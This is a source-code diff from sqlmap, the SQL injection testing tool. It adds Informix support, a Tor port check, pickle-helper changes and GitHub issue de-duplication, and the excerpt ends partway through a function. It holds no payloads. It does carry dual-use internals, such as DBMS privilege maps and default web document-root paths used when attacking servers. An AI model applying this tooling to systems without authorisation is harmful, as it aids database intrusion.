|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1200,6 +1208,7 @@ def setPaths(rootPath):
|
||||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
|
||||
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||
paths.SQLMAP_HOME_PATH = _
|
||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
@@ -1334,7 +1343,7 @@ def parseTargetDirect():
|
||||
else:
|
||||
errMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||
errMsg += "in order to directly connect to the DBMS "
|
||||
errMsg += "%s. You can download it from '%s'" % (dbmsName, data[2])
|
||||
errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2])
|
||||
errMsg += ". Alternative is to use a package 'python-sqlalchemy' "
|
||||
errMsg += "with support for dialect '%s' installed" % data[3]
|
||||
raise SqlmapMissingDependence(errMsg)
|
||||
@@ -2227,10 +2236,6 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||
if noneToNull and value is None:
|
||||
return NULL
|
||||
|
||||
if isListLike(value):
|
||||
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
|
||||
return value
|
||||
|
||||
if isinstance(value, unicode):
|
||||
return value
|
||||
elif isinstance(value, basestring):
|
||||
@@ -2242,6 +2247,9 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||
return unicode(value, UNICODE_ENCODING)
|
||||
except:
|
||||
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
|
||||
elif isListLike(value):
|
||||
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
|
||||
return value
|
||||
else:
|
||||
try:
|
||||
return unicode(value)
|
||||
@@ -2405,6 +2413,32 @@ def extractErrorMessage(page):
|
||||
|
||||
return retVal
|
||||
|
||||
def findLocalPort(ports):
|
||||
"""
|
||||
Find the first opened localhost port from a given list of ports (e.g. for Tor port checks)
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
for port in ports:
|
||||
try:
|
||||
try:
|
||||
s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
except AttributeError:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((LOCALHOST, port))
|
||||
retVal = port
|
||||
break
|
||||
except socket.error:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def findMultipartPostBoundary(post):
|
||||
"""
|
||||
Finds value for a boundary parameter in given multipart POST body
|
||||
@@ -2559,6 +2593,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg):
|
||||
def getPageTemplate(payload, place): # Cross-linked function
|
||||
raise NotImplementedError
|
||||
|
||||
@cachedmethod
|
||||
def getPublicTypeMembers(type_, onlyValues=False):
|
||||
"""
|
||||
Useful for getting members from types (e.g. in enums)
|
||||
@@ -2567,12 +2602,16 @@ def getPublicTypeMembers(type_, onlyValues=False):
|
||||
['Linux', 'Windows']
|
||||
"""
|
||||
|
||||
retVal = []
|
||||
|
||||
for name, value in inspect.getmembers(type_):
|
||||
if not name.startswith('__'):
|
||||
if not onlyValues:
|
||||
yield (name, value)
|
||||
retVal.append((name, value))
|
||||
else:
|
||||
yield value
|
||||
retVal.append(value)
|
||||
|
||||
return retVal
|
||||
|
||||
def enumValueToNameLookup(type_, value_):
|
||||
"""
|
||||
@@ -3154,13 +3193,28 @@ def createGithubIssue(errMsg, excMsg):
|
||||
ex = None
|
||||
errMsg = errMsg[errMsg.find("\n"):]
|
||||
|
||||
req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key))
|
||||
|
||||
try:
|
||||
content = urllib2.urlopen(req).read()
|
||||
_ = json.loads(content)
|
||||
duplicate = _["total_count"] > 0
|
||||
closed = duplicate and _["items"][0]["state"] == "closed"
|
||||
if duplicate:
|
||||
warnMsg = "issue seems to be already reported"
|
||||
if closed:
|
||||
warnMsg += " and resolved. Please update to the latest "
|
||||
warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE
|
||||
logger.warn(warnMsg)
|
||||
return
|
||||
except:
|
||||
pass
|
||||
|
||||
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
|
||||
req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
|
||||
|
||||
try:
|
||||
f = urllib2.urlopen(req)
|
||||
content = f.read()
|
||||
content = urllib2.urlopen(req).read()
|
||||
except Exception, ex:
|
||||
content = None
|
||||
|
||||
@@ -3189,7 +3243,7 @@ def maskSensitiveData(msg):
|
||||
|
||||
retVal = getUnicode(msg)
|
||||
|
||||
for item in filter(None, map(lambda x: conf.get(x), ("hostname", "data", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
|
||||
for item in filter(None, map(lambda x: conf.get(x), SENSITIVE_OPTIONS)):
|
||||
regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
|
||||
while extractRegexResult(regex, retVal):
|
||||
value = extractRegexResult(regex, retVal)
|
||||
@@ -3581,6 +3635,7 @@ def randomizeParameterValue(value):
|
||||
|
||||
return retVal
|
||||
|
||||
@cachedmethod
|
||||
def asciifyUrl(url, forceQuote=False):
|
||||
"""
|
||||
Attempts to make a unicode URL usuable with ``urllib/urllib2``.
|
||||
@@ -3652,7 +3707,7 @@ def asciifyUrl(url, forceQuote=False):
|
||||
|
||||
def isAdminFromPrivileges(privileges):
|
||||
"""
|
||||
Inspects privileges to see if those are comming from an admin user
|
||||
Inspects privileges to see if those are coming from an admin user
|
||||
"""
|
||||
|
||||
# In PostgreSQL the usesuper privilege means that the
|
||||
@@ -3731,6 +3786,11 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
||||
item.selected = True
|
||||
break
|
||||
|
||||
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
|
||||
dbgMsg = "skipping '%s'" % form.action
|
||||
logger.debug(dbgMsg)
|
||||
continue
|
||||
|
||||
request = form.click()
|
||||
except (ValueError, TypeError), ex:
|
||||
errMsg = "there has been a problem while "
|
||||
@@ -4075,8 +4135,11 @@ def getRequestHeader(request, name):
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
if request and name:
|
||||
retVal = max(value if name.upper() == key.upper() else None for key, value in request.header_items())
|
||||
_ = name.upper()
|
||||
retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
|
||||
|
||||
return retVal
|
||||
|
||||
def isNumber(value):
|
||||
|
||||
Regular → Executable
+16
-7
@@ -5,9 +5,15 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
finally:
|
||||
import pickle as picklePy
|
||||
|
||||
import base64
|
||||
import json
|
||||
import pickle
|
||||
import re
|
||||
import StringIO
|
||||
import sys
|
||||
@@ -41,7 +47,7 @@ def base64pickle(value):
|
||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||
|
||||
>>> base64pickle('foobar')
|
||||
'gAJVBmZvb2JhcnEALg=='
|
||||
'gAJVBmZvb2JhcnEBLg=='
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -60,11 +66,11 @@ def base64pickle(value):
|
||||
|
||||
return retVal
|
||||
|
||||
def base64unpickle(value):
|
||||
def base64unpickle(value, unsafe=False):
|
||||
"""
|
||||
Decodes value from Base64 to plain format and deserializes (with pickle) its content
|
||||
|
||||
>>> base64unpickle('gAJVBmZvb2JhcnEALg==')
|
||||
>>> base64unpickle('gAJVBmZvb2JhcnEBLg==')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
@@ -78,9 +84,12 @@ def base64unpickle(value):
|
||||
self.load_reduce()
|
||||
|
||||
def loads(str):
|
||||
file = StringIO.StringIO(str)
|
||||
unpickler = pickle.Unpickler(file)
|
||||
unpickler.dispatch[pickle.REDUCE] = _
|
||||
f = StringIO.StringIO(str)
|
||||
if unsafe:
|
||||
unpickler = picklePy.Unpickler(f)
|
||||
unpickler.dispatch[picklePy.REDUCE] = _
|
||||
else:
|
||||
unpickler = pickle.Unpickler(f)
|
||||
return unpickler.load()
|
||||
|
||||
try:
|
||||
|
||||
+229
-180
@@ -21,219 +21,268 @@ from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
|
||||
FIREBIRD_TYPES = {
|
||||
261: "BLOB",
|
||||
14: "CHAR",
|
||||
40: "CSTRING",
|
||||
11: "D_FLOAT",
|
||||
27: "DOUBLE",
|
||||
10: "FLOAT",
|
||||
16: "INT64",
|
||||
8: "INTEGER",
|
||||
9: "QUAD",
|
||||
7: "SMALLINT",
|
||||
12: "DATE",
|
||||
13: "TIME",
|
||||
35: "TIMESTAMP",
|
||||
37: "VARCHAR",
|
||||
}
|
||||
261: "BLOB",
|
||||
14: "CHAR",
|
||||
40: "CSTRING",
|
||||
11: "D_FLOAT",
|
||||
27: "DOUBLE",
|
||||
10: "FLOAT",
|
||||
16: "INT64",
|
||||
8: "INTEGER",
|
||||
9: "QUAD",
|
||||
7: "SMALLINT",
|
||||
12: "DATE",
|
||||
13: "TIME",
|
||||
35: "TIMESTAMP",
|
||||
37: "VARCHAR",
|
||||
}
|
||||
|
||||
INFORMIX_TYPES = {
|
||||
0: "CHAR",
|
||||
1: "SMALLINT",
|
||||
2: "INTEGER",
|
||||
3: "FLOAT",
|
||||
4: "SMALLFLOAT",
|
||||
5: "DECIMAL",
|
||||
6: "SERIAL",
|
||||
7: "DATE",
|
||||
8: "MONEY",
|
||||
9: "NULL",
|
||||
10: "DATETIME",
|
||||
11: "BYTE",
|
||||
12: "TEXT",
|
||||
13: "VARCHAR",
|
||||
14: "INTERVAL",
|
||||
15: "NCHAR",
|
||||
16: "NVARCHAR",
|
||||
17: "INT8",
|
||||
18: "SERIAL8",
|
||||
19: "SET",
|
||||
20: "MULTISET",
|
||||
21: "LIST",
|
||||
22: "ROW (unnamed)",
|
||||
23: "COLLECTION",
|
||||
40: "Variable-length opaque type",
|
||||
41: "Fixed-length opaque type",
|
||||
43: "LVARCHAR",
|
||||
45: "BOOLEAN",
|
||||
52: "BIGINT",
|
||||
53: "BIGSERIAL",
|
||||
2061: "IDSSECURITYLABEL",
|
||||
4118: "ROW (named)",
|
||||
}
|
||||
|
||||
SYBASE_TYPES = {
|
||||
14: "floatn",
|
||||
8: "float",
|
||||
15: "datetimn",
|
||||
12: "datetime",
|
||||
23: "real",
|
||||
28: "numericn",
|
||||
10: "numeric",
|
||||
27: "decimaln",
|
||||
26: "decimal",
|
||||
17: "moneyn",
|
||||
11: "money",
|
||||
21: "smallmoney",
|
||||
22: "smalldatetime",
|
||||
13: "intn",
|
||||
7: "int",
|
||||
6: "smallint",
|
||||
5: "tinyint",
|
||||
16: "bit",
|
||||
2: "varchar",
|
||||
18: "sysname",
|
||||
25: "nvarchar",
|
||||
1: "char",
|
||||
24: "nchar",
|
||||
4: "varbinary",
|
||||
80: "timestamp",
|
||||
3: "binary",
|
||||
19: "text",
|
||||
20: "image",
|
||||
}
|
||||
14: "floatn",
|
||||
8: "float",
|
||||
15: "datetimn",
|
||||
12: "datetime",
|
||||
23: "real",
|
||||
28: "numericn",
|
||||
10: "numeric",
|
||||
27: "decimaln",
|
||||
26: "decimal",
|
||||
17: "moneyn",
|
||||
11: "money",
|
||||
21: "smallmoney",
|
||||
22: "smalldatetime",
|
||||
13: "intn",
|
||||
7: "int",
|
||||
6: "smallint",
|
||||
5: "tinyint",
|
||||
16: "bit",
|
||||
2: "varchar",
|
||||
18: "sysname",
|
||||
25: "nvarchar",
|
||||
1: "char",
|
||||
24: "nchar",
|
||||
4: "varbinary",
|
||||
80: "timestamp",
|
||||
3: "binary",
|
||||
19: "text",
|
||||
20: "image",
|
||||
}
|
||||
|
||||
MYSQL_PRIVS = {
|
||||
1: "select_priv",
|
||||
2: "insert_priv",
|
||||
3: "update_priv",
|
||||
4: "delete_priv",
|
||||
5: "create_priv",
|
||||
6: "drop_priv",
|
||||
7: "reload_priv",
|
||||
8: "shutdown_priv",
|
||||
9: "process_priv",
|
||||
10: "file_priv",
|
||||
11: "grant_priv",
|
||||
12: "references_priv",
|
||||
13: "index_priv",
|
||||
14: "alter_priv",
|
||||
15: "show_db_priv",
|
||||
16: "super_priv",
|
||||
17: "create_tmp_table_priv",
|
||||
18: "lock_tables_priv",
|
||||
19: "execute_priv",
|
||||
20: "repl_slave_priv",
|
||||
21: "repl_client_priv",
|
||||
22: "create_view_priv",
|
||||
23: "show_view_priv",
|
||||
24: "create_routine_priv",
|
||||
25: "alter_routine_priv",
|
||||
26: "create_user_priv",
|
||||
}
|
||||
1: "select_priv",
|
||||
2: "insert_priv",
|
||||
3: "update_priv",
|
||||
4: "delete_priv",
|
||||
5: "create_priv",
|
||||
6: "drop_priv",
|
||||
7: "reload_priv",
|
||||
8: "shutdown_priv",
|
||||
9: "process_priv",
|
||||
10: "file_priv",
|
||||
11: "grant_priv",
|
||||
12: "references_priv",
|
||||
13: "index_priv",
|
||||
14: "alter_priv",
|
||||
15: "show_db_priv",
|
||||
16: "super_priv",
|
||||
17: "create_tmp_table_priv",
|
||||
18: "lock_tables_priv",
|
||||
19: "execute_priv",
|
||||
20: "repl_slave_priv",
|
||||
21: "repl_client_priv",
|
||||
22: "create_view_priv",
|
||||
23: "show_view_priv",
|
||||
24: "create_routine_priv",
|
||||
25: "alter_routine_priv",
|
||||
26: "create_user_priv",
|
||||
}
|
||||
|
||||
PGSQL_PRIVS = {
|
||||
1: "createdb",
|
||||
2: "super",
|
||||
3: "catupd",
|
||||
}
|
||||
1: "createdb",
|
||||
2: "super",
|
||||
3: "catupd",
|
||||
}
|
||||
|
||||
# Reference(s): http://stackoverflow.com/a/17672504
|
||||
# http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
|
||||
|
||||
FIREBIRD_PRIVS = {
|
||||
"S": "SELECT",
|
||||
"I": "INSERT",
|
||||
"U": "UPDATE",
|
||||
"D": "DELETE",
|
||||
"R": "REFERENCE",
|
||||
"E": "EXECUTE",
|
||||
"X": "EXECUTE",
|
||||
"A": "ALL",
|
||||
"M": "MEMBER",
|
||||
"T": "DECRYPT",
|
||||
"E": "ENCRYPT",
|
||||
"B": "SUBSCRIBE",
|
||||
}
|
||||
"S": "SELECT",
|
||||
"I": "INSERT",
|
||||
"U": "UPDATE",
|
||||
"D": "DELETE",
|
||||
"R": "REFERENCE",
|
||||
"E": "EXECUTE",
|
||||
"X": "EXECUTE",
|
||||
"A": "ALL",
|
||||
"M": "MEMBER",
|
||||
"T": "DECRYPT",
|
||||
"E": "ENCRYPT",
|
||||
"B": "SUBSCRIBE",
|
||||
}
|
||||
|
||||
# Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm
|
||||
# https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm
|
||||
|
||||
INFORMIX_PRIVS = {
|
||||
"D": "DBA (all privileges)",
|
||||
"R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)",
|
||||
"C": "CONNECT (work with existing tables)",
|
||||
"G": "ROLE",
|
||||
"U": "DEFAULT (implicit connection)",
|
||||
}
|
||||
|
||||
DB2_PRIVS = {
|
||||
1: "CONTROLAUTH",
|
||||
2: "ALTERAUTH",
|
||||
3: "DELETEAUTH",
|
||||
4: "INDEXAUTH",
|
||||
5: "INSERTAUTH",
|
||||
6: "REFAUTH",
|
||||
7: "SELECTAUTH",
|
||||
8: "UPDATEAUTH",
|
||||
}
|
||||
1: "CONTROLAUTH",
|
||||
2: "ALTERAUTH",
|
||||
3: "DELETEAUTH",
|
||||
4: "INDEXAUTH",
|
||||
5: "INSERTAUTH",
|
||||
6: "REFAUTH",
|
||||
7: "SELECTAUTH",
|
||||
8: "UPDATEAUTH",
|
||||
}
|
||||
|
||||
DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
|
||||
|
||||
DBMS_DICT = {
|
||||
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
|
||||
DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
|
||||
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
|
||||
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
|
||||
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
|
||||
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
|
||||
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
|
||||
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"),
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
}
|
||||
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
|
||||
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
|
||||
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
|
||||
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
|
||||
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
|
||||
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
|
||||
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
|
||||
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
}
|
||||
|
||||
FROM_DUMMY_TABLE = {
|
||||
DBMS.ORACLE: " FROM DUAL",
|
||||
DBMS.ACCESS: " FROM MSysAccessObjects",
|
||||
DBMS.FIREBIRD: " FROM RDB$DATABASE",
|
||||
DBMS.MAXDB: " FROM VERSIONS",
|
||||
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
||||
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS"
|
||||
}
|
||||
DBMS.ORACLE: " FROM DUAL",
|
||||
DBMS.ACCESS: " FROM MSysAccessObjects",
|
||||
DBMS.FIREBIRD: " FROM RDB$DATABASE",
|
||||
DBMS.MAXDB: " FROM VERSIONS",
|
||||
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
||||
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
|
||||
}
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
"SQL SELECT statement": (
|
||||
"select ",
|
||||
"show ",
|
||||
" top ",
|
||||
" distinct ",
|
||||
" from ",
|
||||
" from dual",
|
||||
" where ",
|
||||
" group by ",
|
||||
" order by ",
|
||||
" having ",
|
||||
" limit ",
|
||||
" offset ",
|
||||
" union all ",
|
||||
" rownum as ",
|
||||
"(case ", ),
|
||||
"SQL SELECT statement": (
|
||||
"select ",
|
||||
"show ",
|
||||
" top ",
|
||||
" distinct ",
|
||||
" from ",
|
||||
" from dual",
|
||||
" where ",
|
||||
" group by ",
|
||||
" order by ",
|
||||
" having ",
|
||||
" limit ",
|
||||
" offset ",
|
||||
" union all ",
|
||||
" rownum as ",
|
||||
"(case ", ),
|
||||
|
||||
"SQL data definition": (
|
||||
"create ",
|
||||
"declare ",
|
||||
"drop ",
|
||||
"truncate ",
|
||||
"alter ", ),
|
||||
"SQL data definition": (
|
||||
"create ",
|
||||
"declare ",
|
||||
"drop ",
|
||||
"truncate ",
|
||||
"alter ", ),
|
||||
|
||||
"SQL data manipulation": (
|
||||
"bulk ",
|
||||
"insert ",
|
||||
"update ",
|
||||
"delete ",
|
||||
"merge ",
|
||||
"load ", ),
|
||||
"SQL data manipulation": (
|
||||
"bulk ",
|
||||
"insert ",
|
||||
"update ",
|
||||
"delete ",
|
||||
"merge ",
|
||||
"load ", ),
|
||||
|
||||
"SQL data control": (
|
||||
"grant ",
|
||||
"revoke ", ),
|
||||
"SQL data control": (
|
||||
"grant ",
|
||||
"revoke ", ),
|
||||
|
||||
"SQL data execution": (
|
||||
"exec ",
|
||||
"execute ",
|
||||
"values ",
|
||||
"call ", ),
|
||||
"SQL data execution": (
|
||||
"exec ",
|
||||
"execute ",
|
||||
"values ",
|
||||
"call ", ),
|
||||
|
||||
"SQL transaction": (
|
||||
"start transaction ",
|
||||
"begin work ",
|
||||
"begin transaction ",
|
||||
"commit ",
|
||||
"rollback ", ),
|
||||
}
|
||||
"SQL transaction": (
|
||||
"start transaction ",
|
||||
"begin work ",
|
||||
"begin transaction ",
|
||||
"commit ",
|
||||
"rollback ", ),
|
||||
}
|
||||
|
||||
POST_HINT_CONTENT_TYPES = {
|
||||
POST_HINT.JSON: "application/json",
|
||||
POST_HINT.JSON_LIKE: "application/json",
|
||||
POST_HINT.MULTIPART: "multipart/form-data",
|
||||
POST_HINT.SOAP: "application/soap+xml",
|
||||
POST_HINT.XML: "application/xml",
|
||||
POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
|
||||
}
|
||||
POST_HINT.JSON: "application/json",
|
||||
POST_HINT.JSON_LIKE: "application/json",
|
||||
POST_HINT.MULTIPART: "multipart/form-data",
|
||||
POST_HINT.SOAP: "application/soap+xml",
|
||||
POST_HINT.XML: "application/xml",
|
||||
POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
|
||||
}
|
||||
|
||||
DEPRECATED_OPTIONS = {
|
||||
"--replicate": "use '--dump-format=SQLITE' instead",
|
||||
"--no-unescape": "use '--no-escape' instead",
|
||||
"--binary": "use '--binary-fields' instead",
|
||||
"--auth-private": "use '--auth-file' instead",
|
||||
"--check-payload": None,
|
||||
"--check-waf": None,
|
||||
}
|
||||
"--replicate": "use '--dump-format=SQLITE' instead",
|
||||
"--no-unescape": "use '--no-escape' instead",
|
||||
"--binary": "use '--binary-fields' instead",
|
||||
"--auth-private": "use '--auth-file' instead",
|
||||
"--check-payload": None,
|
||||
"--check-waf": None,
|
||||
}
|
||||
|
||||
DUMP_DATA_PREPROCESS = {
|
||||
DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
|
||||
DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
|
||||
}
|
||||
DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
|
||||
DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
|
||||
}
|
||||
|
||||
DEFAULT_DOC_ROOTS = {
|
||||
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
|
||||
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
|
||||
}
|
||||
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
|
||||
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
|
||||
}
|
||||
|
||||
@@ -34,6 +34,7 @@ class DBMS:
|
||||
SQLITE = "SQLite"
|
||||
SYBASE = "Sybase"
|
||||
HSQLDB = "HSQLDB"
|
||||
INFORMIX = "Informix"
|
||||
|
||||
class DBMS_DIRECTORY_NAME:
|
||||
ACCESS = "access"
|
||||
@@ -47,6 +48,7 @@ class DBMS_DIRECTORY_NAME:
|
||||
SQLITE = "sqlite"
|
||||
SYBASE = "sybase"
|
||||
HSQLDB = "hsqldb"
|
||||
INFORMIX = "informix"
|
||||
|
||||
class CUSTOM_LOGGING:
|
||||
PAYLOAD = 9
|
||||
@@ -364,3 +366,8 @@ class MKSTEMP_PREFIX:
|
||||
RESULTS = "sqlmapresults-"
|
||||
COOKIE_JAR = "sqlmapcookiejar-"
|
||||
BIG_ARRAY = "sqlmapbigarray-"
|
||||
|
||||
class TIMEOUT_STATE:
|
||||
NORMAL = 0
|
||||
EXCEPTION = 1
|
||||
TIMEOUT = 2
|
||||
|
||||
Regular → Executable
+108
-76
@@ -5,6 +5,7 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import cookielib
|
||||
import glob
|
||||
import inspect
|
||||
@@ -38,6 +39,7 @@ from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import filterStringValue
|
||||
from lib.core.common import findLocalPort
|
||||
from lib.core.common import findPageForms
|
||||
from lib.core.common import getConsoleWidth
|
||||
from lib.core.common import getFileItems
|
||||
@@ -108,7 +110,7 @@ from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DBMS_ALIASES
|
||||
from lib.core.settings import DEFAULT_PAGE_ENCODING
|
||||
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
|
||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
||||
from lib.core.settings import DUMMY_URL
|
||||
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
||||
from lib.core.settings import INJECT_HERE_MARK
|
||||
@@ -168,6 +170,12 @@ redirectHandler = SmartRedirectHandler()
|
||||
rangeHandler = HTTPRangeHandler()
|
||||
multipartPostHandler = multipartpost.MultipartPostHandler()
|
||||
|
||||
# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
|
||||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||
"""
|
||||
Parses web scarab and burp logs and adds results to the target URL list
|
||||
@@ -211,7 +219,10 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
request = request.decode("base64")
|
||||
try:
|
||||
request = request.decode("base64")
|
||||
except binascii.Error:
|
||||
continue
|
||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
@@ -883,32 +894,32 @@ def _setTamperingFunctions():
|
||||
resolve_priorities = False
|
||||
priorities = []
|
||||
|
||||
for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
|
||||
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
|
||||
found = False
|
||||
|
||||
tfile = tfile.strip()
|
||||
script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
|
||||
if not tfile:
|
||||
if not script:
|
||||
continue
|
||||
|
||||
